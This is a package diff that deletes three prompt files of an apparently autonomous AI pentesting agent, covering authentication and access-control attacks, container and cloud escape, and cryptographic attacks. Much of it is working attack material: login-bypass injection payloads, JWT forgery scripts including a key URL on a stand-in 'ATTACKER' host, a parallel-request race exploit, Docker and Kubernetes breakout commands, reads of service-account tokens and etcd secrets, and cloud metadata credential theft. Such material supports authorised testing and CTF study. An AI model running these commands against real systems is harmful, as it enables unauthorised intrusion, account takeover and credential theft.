pentesting 0.73.13 → 0.90.1

package/dist/prompts/techniques/auth-access.md

@@ -1,256 +0,0 @@
-# Authentication & Access Control Attacks — Autonomous Guide
-
-> **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
-> Do NOT follow the attack tree linearly. Use `get_owasp_knowledge`, `web_search`, and observed
-> target behavior to decide what to test and in what order. Adapt to the target — not to this list.
-
-> **Cross-ref**: web.md, injection.md, post.md (privesc)
-
-##  Attack Categories
-
-```
-AUTH/ACCESS ATTACK MAP:
-│
-├── 1. Authentication Bypass
-│   ├── Default credentials → web_search("{service} default credentials")
-│   ├── SQL injection in login: admin'-- , ' OR 1=1--, admin'/*
-│   ├── NoSQL injection: {"username":{"$gt":""},"password":{"$gt":""}}
-│   ├── Mass assignment: register with admin=true, role=admin, isAdmin=1
-│   ├── Response manipulation: change HTTP response (401→200, "false"→"true")
-│   ├── Password reset flaws:
-│   │   ├── Predictable token, token reuse, no expiry  
-│   │   ├── Host header injection in reset link
-│   │   ├── IDOR in reset endpoint (reset anyone's password)
-│   │   └── Race condition: use token before invalidation
-│   ├── MFA bypass:
-│   │   ├── Skip to post-MFA endpoint directly
-│   │   ├── Brute force OTP (4-6 digit = limited keyspace)
-│   │   ├── Response manipulation (change status code)
-│   │   ├── Backup codes brute force, default backup codes
-│   │   └── web_search("MFA bypass techniques {year}")
-│   ├── Remember me / persistent login:
-│   │   ├── Predictable cookie value → forge for other users
-│   │   ├── Insufficient entropy in token
-│   │   └── Token not bound to IP/user-agent
-│   └── web_search("authentication bypass techniques hacktricks")
-│
-├── 2. Session Attacks
-│   ├── Session fixation: force known session ID
-│   ├── Session hijacking: steal via XSS, network sniffing
-│   ├── Session prediction: analyze session ID patterns → predict next
-│   ├── Insufficient session expiry: reuse old sessions
-│   ├── Cookie manipulation: change cookie values (user ID, role)
-│   ├── Session puzzling: same session variable used differently
-│   └── web_search("session attack techniques OWASP")
-│
-├── 3. JWT Attacks
-│   ├── [RECON] Decode token first (never inspect raw):
-│   │   └── python3 -c "import base64,sys,json; p=sys.argv[1].split('.'); print(json.dumps(json.loads(base64.b64decode(p[0]+'==').decode()),indent=2)); print(json.dumps(json.loads(base64.b64decode(p[1]+'==').decode()),indent=2))" <JWT>
-│   │
-│   ├── A. Algorithm confusion: RS256 → HS256 (sign with public key)
-│   │   ├── Get public key from /jwks.json, /.well-known/openid-configuration, or /api/v1/certs
-│   │   ├── Convert PEM to appropriate form and use as HMAC secret:
-│   │   │   python3 -c "
-│   │   │   import jwt, base64
-│   │   │   pub = open('public.pem').read()
-│   │   │   payload = {'sub':'admin','role':'admin','iat':9999999999}
-│   │   │   token = jwt.encode(payload, pub, algorithm='HS256')
-│   │   │   print(token)"
-│   │   └── Send forged token, check if RS256 check is bypassed
-│   │
-│   ├── B. None algorithm: remove signature entirely
-│   │   ├── Modify header: {"alg":"none","typ":"JWT"} → base64url encode
-│   │   ├── Modify payload: change sub/role/admin claims
-│   │   ├── Set signature to empty: header.payload.  (trailing dot, no sig)
-│   │   └── Try variations: "None", "NONE", "nOnE" (case sensitivity bypass)
-│   │
-│   ├── C. JWK/JKU injection: host your own signing key
-│   │   ├── Generate RSA key pair: openssl genrsa -out attacker.pem 2048
-│   │   ├── Start HTTP server: python3 -m http.server 8888
-│   │   ├── Option 1 JKU: add "jku":"http://ATTACKER/jwks.json" to header
-│   │   ├── Option 2 JWK: embed public key directly in "jwk" header param
-│   │   ├── Sign token with your private key, server fetches & trusts your key
-│   │   └── Tool: python3 -m jwt_tool <JWT> -X s -ju http://ATTACKER/jwks.json
-│   │
-│   ├── D. Kid (Key ID) attacks
-│   │   ├── Path traversal: {"kid":"../../../../dev/null"} → HMAC secret = ""
-│   │   │   Sign with empty string: python3 -c "import jwt; print(jwt.encode({'sub':'admin'}, '', algorithm='HS256'))"
-│   │   ├── kid = "../../dev/null" → empty key → predictable signature
-│   │   ├── SQL injection in kid: {"kid":"' UNION SELECT 'secret'--"}
-│   │   │   → DB returns controlled value as secret → sign with that value
-│   │   └── kid = file path to known content: /proc/sys/kernel/hostname
-│   │
-│   ├── E. Secret brute force
-│   │   ├── hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
-│   │   └── john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.txt
-│   │
-│   ├── F. Claim manipulation (without verifying sig)
-│   │   ├── Change: sub, user_id, role, admin, email, exp (set far future)
-│   │   └── Tool: python3 -m jwt_tool <JWT> -I -pc role -pv admin
-│   │
-│   └── web_search("JWT attack techniques portswigger {year}")
-│       web_search("jwt_tool cheatsheet")
-│
-├── 4. OAuth/OpenID Connect Attacks
-│   ├── [RECON] Map the flow first:
-│   │   ├── Find: /authorize, /token, /userinfo, /.well-known/openid-configuration
-│   │   ├── Note: response_type (code/token), grant_type, client_id, redirect_uri
-│   │   └── Check: state parameter present? PKCE used?
-│   │
-│   ├── A. Redirect URI manipulation → token theft
-│   │   ├── Add path: ?redirect_uri=https://legit.com/callback/../attacker.com
-│   │   ├── Add param: ?redirect_uri=https://legit.com?x=attacker.com
-│   │   ├── Open redirect chain: legit redirect → open redirect → attacker
-│   │   └── Referrer leak: navigate from token URL to external resource
-│   │
-│   ├── B. State parameter CSRF (missing or predictable state)
-│   │   ├── If state absent: craft malicious authorization URL → victim clicks
-│   │   ├── If state predictable: generate valid state, pre-authorize
-│   │   └── Result: bind victim's OAuth to attacker account
-│   │
-│   ├── C. Authorization code interception
-│   │   ├── Code in URL → appears in Referer header to third-party resources
-│   │   ├── Code in logs → check open log endpoints
-│   │   └── Replay: codes often single-use but check if reusable
-│   │
-│   ├── D. PKCE bypass (Proof Key for Code Exchange)
-│   │   ├── Check if code_challenge validation is enforced
-│   │   ├── Try omitting code_verifier → if server accepts → PKCE not enforced
-│   │   └── Downgrade: try response_type=token (implicit) instead of code
-│   │
-│   ├── E. Scope escalation
-│   │   ├── Add scopes: openid profile email admin offline_access
-│   │   └── Check if server returns broader access than requested
-│   │
-│   ├── F. Implicit flow token leakage (older pattern, still found)
-│   │   ├── Token in URL fragment → appears in browser history, Referer
-│   │   └── Single-page apps may log token to console/error handlers
-│   │
-│   ├── G. SSRF via OAuth
-│   │   ├── authorization URL → internal service scan
-│   │   └── request_uri in PAR (Pushed Authorization Requests)
-│   │
-│   └── web_search("OAuth security vulnerabilities exploitation portswigger")
-│       web_search("OAuth 2.0 attack techniques {year}")
-│
-├── 5. IDOR (Insecure Direct Object Reference)
-│   ├── Parameter manipulation: /api/user/123 → /api/user/124
-│   ├── In: URL, POST body, JSON, cookies, headers, file names
-│   ├── Encoded IDs: base64 decode → modify → re-encode
-│   ├── UUID/GUID: not always random (predictable in some implementations)
-│   ├── Sequential testing: iterate through IDs systematically  
-│   ├── HTTP method change: GET blocked → POST, PUT, PATCH, DELETE
-│   └── Affects: view/edit/delete other users' data, access admin functions
-│
-├── 6. Access Control Bypass
-│   ├── Horizontal: access other users' resources (same privilege level)
-│   ├── Vertical: access admin/higher-privilege resources  
-│   ├── Method-based: POST blocked → GET, PUT, PATCH, OPTIONS
-│   ├── Path-based: /admin/ blocked → /ADMIN/, /Admin, /./admin/, //admin
-│   ├── Header-based: X-Original-URL, X-Rewrite-URL, X-Forwarded-For
-│   ├── Referer-based: add expected Referer header
-│   ├── IP-based: add X-Forwarded-For: 127.0.0.1
-│   ├── API versioning: /api/v1/admin blocked → /api/v2/admin, /api/internal/
-│   ├── Parameter pollution: duplicate parameters with different values
-│   └── web_search("access control bypass techniques hacktricks")
-│
-├── 7. Rate Limiting Bypass
-│   ├── IP rotation headers: X-Forwarded-For, X-Real-IP, X-Originating-IP
-│   ├── Different endpoints: /login vs /LOGIN vs /Login  
-│   ├── Parameter pollution: add dummy parameters
-│   ├── Different HTTP methods: POST → PUT
-│   ├── Unicode variations: admin vs admın (dotless i)
-│   ├── Distributed: multiple source IPs
-│   └── Timing: slow down just below rate limit threshold
-│
-└── 8. Business Logic Flaws & Race Conditions
-    ├── Price manipulation: negative quantities, decimal exploitation
-    ├── Workflow bypass: skip steps (order→pay→confirm → order→confirm)
-    ├── Type juggling: PHP == vs === (0 == "string" → true)
-    ├── Integer overflow: very large numbers → wrap to negative/zero
-    ├── Referral/reward abuse: self-referral, race condition on signup
-    │
-    └── Race Conditions (Limit-Override / TOCTOU):
-        ├── [DETECTION] Does action have a check → use window?
-        │   └── Examples: balance check, coupon validity, token invalidation
-        │
-        ├── [EXPLOIT A] Parallel HTTP requests (asyncio — write file, run it)
-        │   write_file path=".pentesting/workspace/race.py" content="""
-        │   import asyncio, aiohttp, sys
-        │
-        │   URL = sys.argv[1] if len(sys.argv)>1 else 'http://TARGET/endpoint'
-        │   DATA = {'coupon': 'SAVE50', 'amount': '100'}
-        │   PARALLEL = 50
-        │
-        │   async def race():
-        │       async with aiohttp.ClientSession() as s:
-        │           tasks = [s.post(URL, data=DATA) for _ in range(PARALLEL)]
-        │           results = await asyncio.gather(*tasks, return_exceptions=True)
-        │       for i, r in enumerate(results):
-        │           if hasattr(r,'status'):
-        │               text = await r.text()
-        │               print(f'[{i}] {r.status}: {text[:100]}')
-        │   asyncio.run(race())
-        │   """
-        │   Then: run_cmd "python3 .pentesting/workspace/race.py http://TARGET/redeem"
-        │
-        ├── [EXPLOIT B] curl parallel (no Python needed)
-        │   run_cmd "seq 50 | xargs -P50 -I{} curl -s -X POST http://TARGET/redeem -d 'coupon=SAVE50'"
-        │
-        ├── [EXPLOIT C] TOCTOU symlink race (file operations)
-        │   ├── Monitor: inotifywait -m /tmp/uploads -e create
-        │   ├── Race: while true; do ln -sf /etc/passwd /tmp/target; done
-        │   └── Trigger upload simultaneously
-        │
-        ├── [SUCCESS SIGNAL] One request returns 200, others return 409/error
-        │   └── If all return 200 → not fixed, try extracting duplicate benefit
-        │
-        └── web_search("race condition portswigger limit override")
-            web_search("TOCTOU exploit {context} {year}")
-```
-
-##  JWT Decision Tree
-```
-Intercept JWT →
-  ├── Decode header → check "alg" field
-  │   ├── "RS256"/"ES256" → try A (HS256 confusion) + C (JWK inject)
-  │   ├── "HS256"         → try E (brute force) + D (kid attacks)
-  │   └── "none"          → already vulnerable, forge freely
-  ├── Check "kid" field present? → try D (path traversal + SQLi)
-  ├── Check "jku"/"jwk" field?   → try C (inject your own key)
-  └── No strong alg?             → try B (none algorithm)
-```
-
-##  Session & Token Extraction (save_session workflow)
-```
-After browse_url or fill_form with save_session: true, TWO files are saved:
-
-  .pentesting/workspace/browser-session.json  → Playwright state (use_session)
-  .pentesting/workspace/auth-headers.json     → Extracted headers for ANY tool
-
-auth-headers.json example:
-  { "Authorization": "Bearer eyJ0eXAiOiJKV1Q...", "Cookie": "session=abc123" }
-
-Reuse in run_cmd:
-  AUTH=.pentesting/workspace/auth-headers.json
-  TOKEN=$(jq -r .Authorization $AUTH)
-  COOKIE=$(jq -r '.["Cookie"]' $AUTH)
-
-  curl -s -H "Authorization: $TOKEN" -H "Cookie: $COOKIE" http://TARGET/api/admin
-  sqlmap -u "http://TARGET/api/data?id=1" --headers="Authorization: $TOKEN" --dbs
-  python3 -c "import json,requests; h=json.load(open('$AUTH')); print(requests.get('http://TARGET/api/me',headers=h).text)"
-
-If Authorization key is missing (session-only app):
-  curl -b "$COOKIE" http://TARGET/admin
-```
-
-##  Search Patterns
-```
-web_search("{auth_mechanism} bypass techniques")
-web_search("broken access control exploitation hacktricks")
-web_search("IDOR exploitation techniques {year}")
-web_search("{technology} authentication vulnerability")
-web_search("PayloadsAllTheThings {attack_type}")
-web_search("jwt_tool usage portswigger")
-web_search("OAuth 2.0 vulnerability {grant_type} exploitation")
-```

package/dist/prompts/techniques/container-escape.md

@@ -1,103 +0,0 @@
-# Container Escape & Cloud Attack Techniques
-
-## Docker Container Detection
-```
-Am I in a container?
-├── cat /proc/1/cgroup → contains "docker" or container ID?
-├── ls /.dockerenv → exists = Docker container
-├── hostname → random hex string = likely container
-├── mount | grep overlay → overlay filesystem = container
-├── cat /proc/self/status | grep CapEff → limited capabilities?
-└── env | grep -i docker → Docker-related env vars?
-```
-
-## Docker Escape Techniques
-```
-1. Privileged container (--privileged):
-   ├── Full device access → mount host filesystem
-   │   mkdir /mnt/host && mount /dev/sda1 /mnt/host
-   │   cat /mnt/host/root/root.txt
-   ├── nsenter: nsenter --target 1 --mount --uts --ipc --net --pid
-   └── Load kernel module: insmod backdoor.ko
-
-2. Docker socket mounted (-v /var/run/docker.sock):
-   ├── docker -H unix:///var/run/docker.sock ps
-   ├── Create privileged container:
-   │   docker run -it --privileged --pid=host -v /:/host ubuntu chroot /host
-   └── Access host filesystem through new container
-
-3. Dangerous capabilities:
-   ├── CAP_SYS_ADMIN → mount host devices, use nsenter
-   ├── CAP_SYS_PTRACE → process injection, debug host processes
-   ├── CAP_NET_ADMIN → ARP spoof, network manipulation
-   ├── CAP_DAC_READ_SEARCH → read any file
-   └── Check: capsh --print | grep Current
-
-4. Writable host paths:
-   ├── If anything is mounted from host (-v /hostpath:/container):
-   │   Write to that path to affect host
-   ├── Common: /var/log, /tmp, /opt, config directories
-   └── Write crontab/SSH key to mounted host path
-
-5. Kernel exploits:
-   ├── Container shares kernel with host
-   ├── uname -r → search for kernel CVEs
-   ├── CVE-2022-0847 (DirtyPipe)
-   ├── CVE-2022-0185 (fsconfig heap overflow)
-   └── CVE-2024-21626 (runc breakout via /proc/self/fd)
-
-6. Docker API (2375/2376):
-   ├── Unauthenticated Docker API = instant host compromise
-   ├── docker -H tcp://<target>:2375 ps
-   └── Create privileged container mounting host /
-```
-
-## Kubernetes Escape
-```
-1. Service account token:
-   ├── cat /var/run/secrets/kubernetes.io/serviceaccount/token
-   ├── Use token to query API: curl -sk https://kubernetes.default.svc/api/v1/
-   ├── Enumerate permissions: kubectl auth can-i --list
-   └── If can create pods → privileged pod escape
-
-2. Privileged pod:
-   ├── Create pod with hostPID, hostNetwork, privileged: true
-   ├── Mount host filesystem: volumeMounts hostPath /
-   └── nsenter --target 1 --mount --uts --ipc --net --pid bash
-
-3. etcd access:
-   ├── etcd often unauthenticated on port 2379
-   ├── Contains ALL K8s secrets: etcdctl get --prefix /registry/secrets
-   └── Includes service account tokens, DB passwords, etc.
-
-4. Common K8s misconfigs:
-   ├── Dashboard without auth (port 8443/30000)
-   ├── Tiller (Helm v2) without auth → arbitrary K8s operations
-   ├── Kubelet API (10250) without auth → exec into any pod
-   │   curl -sk https://<node>:10250/pods
-   │   curl -sk https://<node>:10250/exec/<ns>/<pod>/<container> -d "cmd=id"
-   └── RBAC misconfiguration → escalate to cluster-admin
-```
-
-## Cloud Metadata
-```
-Cloud metadata endpoints (SSRF targets):
-├── AWS:    http://169.254.169.254/latest/meta-data/
-│   ├── /iam/security-credentials/ → IAM role credentials
-│   ├── /user-data → startup scripts (often contain secrets)
-│   └── IMDSv2: TOKEN=$(curl -X PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
-│       curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
-├── GCP:    http://metadata.google.internal/computeMetadata/v1/
-│   └── Requires header: Metadata-Flavor: Google
-├── Azure:  http://169.254.169.254/metadata/instance?api-version=2021-02-01
-│   └── Requires header: Metadata: true
-└── DigitalOcean: http://169.254.169.254/metadata/v1/
-
-Post-exploitation with cloud creds:
-├── AWS: Configure aws cli → enumerate IAM, S3, Lambda, EC2
-│   aws sts get-caller-identity
-│   aws s3 ls
-│   aws iam list-users
-├── GCP: gcloud auth activate-service-account → enumerate
-└── Azure: az login → enumerate resources
-```

package/dist/prompts/techniques/crypto.md

@@ -1,296 +0,0 @@
-# Cryptography Attack Techniques
-
-## Hash Cracking
-```
-Identify hash type:
-├── hashid <hash> OR hash-identifier
-├── Online: hashes.com, crackstation.net
-└── hashcat --example-hashes | grep -B1 <hash_start>
-
-Crack with hashcat:
-├── MD5:     hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
-├── SHA1:    hashcat -m 100 hash.txt rockyou.txt
-├── SHA256:  hashcat -m 1400 hash.txt rockyou.txt
-├── bcrypt:  hashcat -m 3200 hash.txt rockyou.txt
-├── NTLM:    hashcat -m 1000 hash.txt rockyou.txt
-├── Kerberos TGS: hashcat -m 13100 hash.txt rockyou.txt
-├── NetNTLMv2: hashcat -m 5600 hash.txt rockyou.txt
-└── With rules: hashcat -m 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
-
-John the Ripper:
-├── john --wordlist=rockyou.txt hash.txt
-├── john --show hash.txt
-└── john --rules=All hash.txt
-```
-
-## RSA Attacks
-```
-When you find RSA parameters (n, e, c, p, q):
-
-Small n → factor with:
-├── factordb.com (online)
-├── RsaCtfTool: python3 RsaCtfTool.py -n <n> -e <e> --uncipher <c>
-└── yafu: yafu "factor(n)"
-
-Common RSA weaknesses:
-├── Small e (e=3) → cube root attack
-├── Common modulus → shared p or q between keys
-├── Wiener's attack → small d (large e)
-├── Hastad's broadcast → same m encrypted with different n, same small e
-├── Bleichenbacher → padding oracle on PKCS#1 v1.5
-├── Fermat factoring → p and q close together
-└── Twin prime → p = q ± 2
-
-Python template:
-from Crypto.Util.number import *
-n, e, c = ...
-# After finding p, q:
-phi = (p-1)*(q-1)
-d = inverse(e, phi)
-m = pow(c, d, n)
-print(long_to_bytes(m))
-```
-
-## Classical Ciphers
-```
-Common in CTF misc/crypto:
-├── Caesar/ROT13: Try all 26 shifts → dcode.fr/caesar-cipher
-├── Vigenère: Key analysis → dcode.fr/vigenere-cipher
-├── XOR: Single-byte XOR brute → CyberChef XOR Brute Force
-├── Substitution: Frequency analysis → quipqiup.com
-├── Base encodings:
-│   ├── Base64: = padding, A-Za-z0-9+/
-│   ├── Base32: = padding, A-Z2-7
-│   └── Base85/ASCII85: ~> delimiter
-├── Hex: 0-9a-f only → xxd -r -p
-└── Morse/Braille/Semaphore: visual pattern recognition
-```
-
-## Padding Oracle Attack
-```
-When you can detect valid vs invalid padding:
-├── padbuster: padbuster <URL> <encrypted_sample> <block_size>
-│   Options: -cookies "auth=<encrypted>" -encoding 0 (lowercase hex)
-├── Manual: Compare response to correct vs incorrect padding
-└── Decrypt AND forge new tokens — often leads to admin access
-```
-
-## Elliptic Curve Attacks
-```
-ECC vulnerabilities in CTF:
-├── Invalid curve attack:
-│   Point not validated → send point on weak curve
-│   Compute DLP on weak curve → recover private key
-├── Smart's attack: anomalous curves (trace=1)
-│   Lift to p-adic → solve in O(1)
-├── MOV attack: small embedding degree
-│   Move DLP to finite field via Weil pairing
-├── Pohlig-Hellman: smooth curve order
-│   Factor order → solve DLP in subgroups → CRT
-├── ECDSA nonce reuse (k reuse):
-│   Two signatures with same k → recover private key
-│   s1*k - H(m1) ≡ s2*k - H(m2) mod n
-│   k = (H(m1) - H(m2)) / (s1 - s2) mod n
-├── Biased nonce (lattice attack):
-│   Partial nonce leak → Hidden Number Problem → LLL
-└── Curve parameter manipulation:
-    Custom curve with weak parameters → check order
-
-SageMath template:
-E = EllipticCurve(GF(p), [a, b])
-G = E(Gx, Gy)
-P = E(Px, Py)  # public key point
-# discrete_log for small order:
-d = G.discrete_log(P)
-```
-
-## AES / Block Cipher Attacks
-```
-Identify cipher mode and attack:
-├── ECB detection: same plaintext block → same ciphertext block
-│   Send repeated 16-byte blocks → check for repeating output
-│   ECB penguin: byte-at-a-time chosen-plaintext → decrypt flag
-├── CBC bit-flipping:
-│   Modify ciphertext byte → predictable change in next block plaintext
-│   Change "admin=0" → "admin=1" by XORing correct byte
-│   Target byte: C[i][j] ^= old_val ^ new_val
-├── CBC-MAC forgery:
-│   Length extension if no length prepend
-│   MAC(m1) ⊕ m2_first_block → forge MAC(m1 || m2)
-├── CTR mode: nonce reuse → XOR ciphertexts → crib dragging
-│   C1 ⊕ C2 = P1 ⊕ P2 → known plaintext reveals other
-├── GCM nonce reuse: recover auth key H → forge tags
-└── Key recovery:
-    Known plaintext + ciphertext → differential/linear cryptanalysis
-    Related-key attack: if key modification is possible
-
-CyberChef operations for quick crypto:
-├── AES Decrypt → try ECB/CBC with extracted key/IV
-├── XOR → brute-force single-byte key (all 256)
-├── From Hex / From Base64 → decode layers
-└── Magic → auto-detect encoding/encryption
-```
-
-## Modern / Advanced Crypto
-```
-Lattice-based (common in hard CTF crypto):
-├── LLL algorithm: basis reduction → find short vectors
-│   from fpylll import IntegerMatrix, LLL
-│   M = IntegerMatrix(rows)
-│   LLL.reduction(M)
-├── Knapsack crypto: reduce to SVP → LLL
-├── Coppersmith: find small roots of polynomial mod N
-│   SageMath: small_roots(X=bound, beta=0.5)
-│   Common use: partial known plaintext in RSA
-├── Hidden Number Problem (HNP):
-│   Biased ECDSA nonce → LLL → recover key
-└── NTRU: lattice-based → LLL reduction
-
-Side-channel (rare but appears at DEF CON):
-├── Timing attack: response time varies with input
-│   → Character-by-character brute force with timing measurement
-│   → Script: measure response_time for each char candidate
-├── Power analysis: if given power traces
-│   Differential Power Analysis (DPA) → recover AES key
-└── Cache timing: Flush+Reload on shared libraries
-```
-
-## Hash Attacks (Beyond Cracking)
-
-```
-Length Extension Attack:
-├── Vulnerable: MD5, SHA1, SHA256 (Merkle-Damgård construction)
-├── NOT vulnerable: SHA3, HMAC, truncated hashes
-├── Tool: hash_extender or HashPump
-│   hash_extender --data "known" --secret-len 16 --append "admin=true" --signature <hash>
-├── When to use: MAC = H(secret || user_data) → append data without knowing secret
-└── Result: valid MAC for extended message
-
-Collision Attack:
-├── MD5: Generate two files with same MD5 hash
-│   Tool: fastcoll or HashClash
-│   Use: bypass file comparison, forge certificates
-├── SHA1: SHAttered (practical collision exists)
-└── When: "if md5(file1) == md5(file2)" type checks
-
-Rainbow Table:
-├── CrackStation: crackstation.net for quick lookups
-├── hashes.org: community hash lookup
-├── For custom charsets: rtgen from RainbowCrack project
-└── Limited to unsalted hashes
-```
-
-## RSA — Extended Attack Catalog
-
-```
-═══════════════════════════════════════
-Franklin-Reiter Related Message:
-═══════════════════════════════════════
-├── Two messages with known relationship: m2 = a*m1 + b
-├── Same RSA key → gcd of polynomials → recover both messages
-├── Common: m2 = m1 + padding_difference
-└── SageMath: gcd of (x^e - c1) and ((a*x+b)^e - c2) in Z_n[x]
-
-═══════════════════════════════════════
-Boneh-Durfee:
-═══════════════════════════════════════
-├── Small private exponent (d < n^0.292)
-├── Stronger than Wiener's (which requires d < n^0.25)
-├── Lattice-based: construct lattice → LLL → factor n
-└── Tool: web_search("boneh durfee RSA CTF implementation")
-
-═══════════════════════════════════════
-Multi-prime RSA:
-═══════════════════════════════════════
-├── n = p * q * r (or more primes)
-├── phi = (p-1)(q-1)(r-1)
-├── Each extra prime → easier to factor
-├── factordb.com often factors multi-prime n
-└── Lambda function: lcm(p-1, q-1, r-1) — may be needed for d
-
-═══════════════════════════════════════
-Chinese Remainder Theorem (CRT):
-═══════════════════════════════════════
-├── When: m^e < n (small message, large modulus)
-│   Direct e-th root: m = iroot(c, e) (integer root)
-├── Hastad improved with CRT:
-│   Multiple (n_i, c_i) with same e → CRT → then e-th root
-├── When: same message encrypted with different moduli
-└── SageMath: CRT_list(remainders, moduli)
-
-═══════════════════════════════════════
-RSA with known bits:
-═══════════════════════════════════════
-├── Partial p/q known → Coppersmith small_roots
-├── Partial d known → Coppersmith on d
-├── Example: "p starts with AAAA..." → known MSB → Coppersmith
-└── SageMath: f.small_roots(X=2^unknown_bits, beta=0.5)
-```
-
-## Automated Crypto Solving Strategy
-
-```
-CTF crypto decision tree:
-1. Check: is it a KNOWN cipher? (RSA, AES, XOR, custom)
-2. Extract all parameters from challenge
-3. For RSA:
-   ├── Try RsaCtfTool first (covers 40+ attacks automatically!)
-   │   python3 RsaCtfTool.py -n <n> -e <e> --uncipher <c> --attack all
-   ├── Try factordb.com for n
-   ├── Check e: small e → Hastad/cube root, large e → Wiener/Boneh-Durfee
-   ├── Multiple ciphertexts? → CRT / Franklin-Reiter
-   └── Weird parameters? → web_search("RSA CTF <description>")
-4. For AES:
-   ├── ECB? → byte-at-a-time or ECB penguin
-   ├── CBC? → padding oracle or bit-flip
-   ├── CTR? → nonce reuse → XOR
-   └── Custom mode? → analyze and find weakness
-5. For custom cipher:
-   ├── Read the code CAREFULLY
-   ├── Look for: weak randomness, reused key, algebraic weakness
-   ├── Z3 solver for constraint problems
-   └── Brute-force if keyspace < 2^32
-6. For encoding puzzles:
-   ├── CyberChef Magic (auto-detect)
-   ├── Multi-layer decode: base64 → hex → XOR → rot13
-   └── dcode.fr for classical ciphers
-
-Essential tools:
-├── RsaCtfTool: github.com/RsaCtfTool/RsaCtfTool
-├── SageMath: for all mathematical crypto
-├── CyberChef: gchq.github.io/CyberChef
-├── PyCryptodome: python crypto library
-├── z3-solver: constraint solving
-├── factordb.com: integer factorization
-└── dcode.fr: classical cipher solver
-```
-
-## SageMath Essential Patterns
-
-```python
-# RSA decryption
-n, e, c = ...
-p, q = factor(n)  # or from factordb
-phi = (p-1)*(q-1)
-d = inverse_mod(e, phi)
-m = pow(c, d, n)
-bytes.fromhex(hex(m)[2:])
-
-# Coppersmith (small roots)
-P.<x> = PolynomialRing(Zmod(n))
-f = x + known_prefix
-roots = f.small_roots(X=2^64, beta=0.5)
-
-# Lattice reduction (LLL)
-M = matrix(ZZ, [...])
-M_reduced = M.LLL()
-
-# ECC discrete log
-E = EllipticCurve(GF(p), [a, b])
-G = E(Gx, Gy)
-P = E(Px, Py)
-d = discrete_log(P, G, G.order(), operation='+')
-
-# CRT
-x = crt([r1, r2, r3], [m1, m2, m3])
-```